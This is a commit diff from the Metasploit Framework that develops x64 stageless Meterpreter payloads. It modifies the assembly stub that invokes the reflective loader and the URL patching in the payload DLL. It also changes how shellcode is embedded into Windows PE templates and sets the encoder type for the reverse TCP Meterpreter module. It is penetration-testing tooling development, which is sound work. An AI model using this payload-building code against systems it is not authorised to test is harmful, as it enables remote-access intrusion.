Skip to content

Commit ce8f6d7

Browse files
committed
More work on x64 stageless
Testing with HD's new changes that allow for generation of larger x64 payloads
1 parent 17dc2b1 commit ce8f6d7

File tree

3 files changed

+21
-21
lines changed

3 files changed

+21
-21
lines changed

lib/msf/core/payload/windows/x64/stageless_meterpreter.rb

Lines changed: 9 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
#-*- coding: binary -*-
22

33
require 'msf/core'
4+
require 'rex/payloads/meterpreter/patch'
45

56
module Msf
67

@@ -19,14 +20,14 @@ module Payload::Windows::StagelessMeterpreter_x64
1920
def asm_invoke_metsrv(opts={})
2021
asm = %Q^
2122
; prologue
23+
; int 03
2224
pop r10 ; 'MZ'
23-
int 03
2425
push r10 ; back to where we started
2526
push rbp ; save rbp
2627
mov rbp, rsp ; set up a new stack frame
2728
sub rsp, 32 ; allocate some space for calls.
2829
; GetPC
29-
call $+9 ; relative call to get location
30+
call $+5 ; relative call to get location
3031
pop rbx ; pop return value
3132
;lea rbx, [rel+0] ; get the VA for the start of this stub
3233
; Invoke ReflectiveLoader()
@@ -77,10 +78,12 @@ def generate_stageless_meterpreter(url = nil)
7778

7879
# the URL might not be given, as it might be patched in some other way
7980
if url
80-
url = "s#{url}\x00"
81-
location = dll.index("https://#{'X' * 256}")
82-
if location
83-
dll[location, url.length] = url
81+
# Patch the URL using the patcher as this upports both ASCII and WCHAR.
82+
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
83+
# If the patching failed this could mean that we are somehow
84+
# working with outdated binaries, so try to patch with the
85+
# old stuff.
86+
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
8487
end
8588
end
8689

lib/msf/util/exe.rb

Lines changed: 11 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -183,12 +183,8 @@ def self.to_win32pe(framework, code, opts = {})
183183
payload = win32_rwx_exec(code)
184184

185185
# Create a new PE object and run through sanity checks
186-
fsize = File.size(opts[:template])
187186
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
188187

189-
text = nil
190-
pe.sections.each {|sec| text = sec if sec.name == ".text"}
191-
192188
#try to inject code into executable by adding a section without affecting executable behavior
193189
if opts[:inject]
194190
injector = Msf::Exe::SegmentInjector.new({
@@ -199,6 +195,9 @@ def self.to_win32pe(framework, code, opts = {})
199195
return injector.generate_pe
200196
end
201197

198+
text = nil
199+
pe.sections.each {|sec| text = sec if sec.name == ".text"}
200+
202201
raise RuntimeError, "No .text section found in the template" unless text
203202

204203
unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
@@ -521,19 +520,16 @@ def self.to_win64pe(framework, code, opts = {})
521520
return injector.generate_pe
522521
end
523522

524-
opts[:exe_type] = :exe_sub
525-
return exe_sub_method(code,opts)
523+
#opts[:exe_type] = :exe_sub
524+
#return exe_sub_method(code,opts)
526525

527-
#
528-
# TODO: 64-bit support is currently failing to stage
529-
#
530526
# Append a new section instead
531-
# appender = Msf::Exe::SegmentAppender.new({
532-
# :payload => code,
533-
# :template => opts[:template],
534-
# :arch => :x64
535-
# })
536-
# return appender.generate_pe
527+
appender = Msf::Exe::SegmentAppender.new({
528+
:payload => code,
529+
:template => opts[:template],
530+
:arch => :x64
531+
})
532+
return appender.generate_pe
537533
end
538534

539535
# Embeds shellcode within a Windows PE file implementing the Windows

modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@ def initialize(info = {})
2626
'Platform' => 'win',
2727
'Arch' => ARCH_X64,
2828
'Handler' => Msf::Handler::ReverseTcp,
29+
'EncoderType' => Msf::Encoder::Type::Raw,
2930
'Session' => Msf::Sessions::Meterpreter_x64_Win
3031
))
3132

0 commit comments

Comments
 (0)